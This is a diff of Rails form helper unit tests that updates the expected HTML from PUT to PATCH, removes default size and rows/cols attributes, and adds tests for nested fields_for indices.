-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'put') do
-      "<input name='post[1][comment][5][title]' size='30' type='text' id='post_1_comment_5_title' value='Hello World' />"
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
+      "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1029,8 +1636,8 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'post[]_edit', 'post[]_edit', 'put') do
-      "<input name='post[123][comment][title]' size='30' type='text' id='post_123_comment_title' value='Hello World' />"
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
+      "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1043,7 +1650,7 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'put') do
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
       "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
     end
 
@@ -1057,8 +1664,8 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'post[]_edit', 'post[]_edit', 'put') do
-      "<input name='post[123][comment][123][title]' size='30' type='text' id='post_123_comment_123_title' value='Hello World' />"
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
+      "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1077,10 +1684,10 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'post[]_edit', 'post[]_edit', 'put') do
-      "<input name='post[123][comment][5][title]' size='30' type='text' id='post_123_comment_5_title' value='Hello World' />"
-    end + whole_form('/posts/123', 'post_edit', 'post_edit', 'put') do
-      "<input name='post[1][comment][123][title]' size='30' type='text' id='post_1_comment_123_title' value='Hello World' />"
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
+      "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
+    end + whole_form('/posts/123', 'edit_post', 'edit_post', 'patch') do
+      "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1096,9 +1703,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-        '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="new author" />'
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+        '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1123,9 +1730,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-   expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-     '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-     '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+   expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+     '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+     '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
    end
 
@@ -1142,9 +1749,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
       '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
     end
 
@@ -1161,9 +1768,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />'
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1179,9 +1786,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />'
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1197,9 +1804,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
       '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
     end
 
@@ -1217,10 +1824,10 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
       '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />'
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1238,11 +1845,11 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
       '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
     end
 
@@ -1265,12 +1872,12 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
       '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />'
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1292,11 +1899,11 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />'
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1318,12 +1925,12 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
       '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />'
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1341,11 +1948,11 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
       '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
     end
 
@@ -1365,12 +1972,12 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
       '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />'
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1388,10 +1995,10 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="new comment" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />'
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="new comment" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1409,11 +2016,11 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />'
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1427,8 +2034,8 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />'
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1444,11 +2051,11 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
       '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
     end
 
@@ -1465,11 +2072,11 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
       '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
     end
 
@@ -1487,11 +2094,11 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
       '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
     end
 
@@ -1510,11 +2117,11 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />'
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1530,14 +2137,64 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" size="30" type="text" value="comment #321" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
       '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
     end
 
     assert_dom_equal expected, output_buffer
   end
 
+  def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) { |cf|
+          assert_equal cf.index, expected
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_for(@post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) { |cf|
+          assert_equal cf.index, expected
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      expected = 0
+      f.fields_for(:comments, @post.comments) { |cf|
+        assert_equal cf.index, expected
+        expected += 1
+      }
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_for(@post) do |f|
+      f.fields_for(:comments, Comment.new(321), :child_index => 'abc') { |cf|
+        assert_equal cf.index, 'abc'
+      }
+    end
+  end
+
   def test_nested_fields_uses_unique_indices_for_different_collection_associations
     @post.comments = [Comment.new(321)]
     @post.tags = [Tag.new(123), Tag.new(456)]
@@ -1566,17 +2223,17 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
-      '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="commentrelevance #314" />' +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+      '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' +
       '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
       '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-      '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" size="30" type="text" value="tag #123" />' +
-      '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #3141" />' +
+      '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' +
+      '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' +
       '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
       '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
-      '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" size="30" type="text" value="tag #456" />' +
-      '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #31415" />' +
+      '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' +
+      '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' +
       '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
       '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
     end
@@ -1593,8 +2250,8 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="hash backed author" />'
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
     end
 
     assert_dom_equal expected, output_buffer
@@ -1608,8 +2265,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
@@ -1624,8 +2281,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =
-      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[123][secret]' type='hidden' value='0' />" +
       "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
 
@@ -1640,8 +2297,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =
-      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[][secret]' type='hidden' value='0' />" +
       "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
 
@@ -1656,8 +2313,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =
-      "<input name='post[abc][title]' size='30' type='text' id='post_abc_title' value='Hello World' />" +
-      "<textarea name='post[abc][body]' id='post_abc_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" +
+      "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[abc][secret]' type='hidden' value='0' />" +
       "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
 
@@ -1672,8 +2329,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
@@ -1688,8 +2345,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
@@ -1703,7 +2360,7 @@ class FormHelperTest < ActionView::TestCase
     end
 
     assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
-    "<input name='author[post][title]' size='30' type='text' id='author_post_title' value='Hello World' />",
+    "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
       output_buffer
   end
 
@@ -1714,12 +2371,12 @@ class FormHelperTest < ActionView::TestCase
     end
 
     assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
-      "<input name='author[post][1][title]' size='30' type='text' id='author_post_1_title' value='Hello World' />",
+      "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
       output_buffer
   end
 
   def test_form_builder_does_not_have_form_for_method
-    assert ! ActionView::Helpers::FormBuilder.instance_methods.include?('form_for')
+    assert !ActionView::Helpers::FormBuilder.instance_methods.include?(:form_for)
   end
 
   def test_form_for_and_fields_for
@@ -1732,9 +2389,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'create-post', 'post_edit', :method => 'put') do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+    expected = whole_form('/posts/123', 'create-post', 'edit_post', :method => 'patch') do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='parent_post[secret]' type='hidden' value='0' />" +
       "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
     end
